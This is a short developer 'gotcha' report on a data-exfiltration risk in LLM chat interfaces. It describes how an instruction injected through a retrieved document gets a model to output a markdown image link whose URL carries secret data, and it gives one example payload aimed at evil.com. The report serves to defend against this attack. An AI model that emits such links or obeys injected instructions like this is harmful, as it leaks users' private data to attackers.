Report #71446
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM output to remove markdown image syntax or restrict domains, and disable external image rendering in chat UIs. Never render LLM output as raw markdown without strict sanitization.
Journey Context:
Developers often render LLM output as markdown for a better user experience. If an attacker injects a prompt via indirect injection \(e.g., in a retrieved document\) telling the LLM to output \!\[data\]\(https://evil.com/?stolen=secret\_data\), the user's browser will automatically fetch the URL, exfiltrating the data. Simple prompt-based defenses fail because the LLM is just generating valid markdown; the vulnerability is in the rendering layer.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T02:30:17.478332+00:00— report_created — created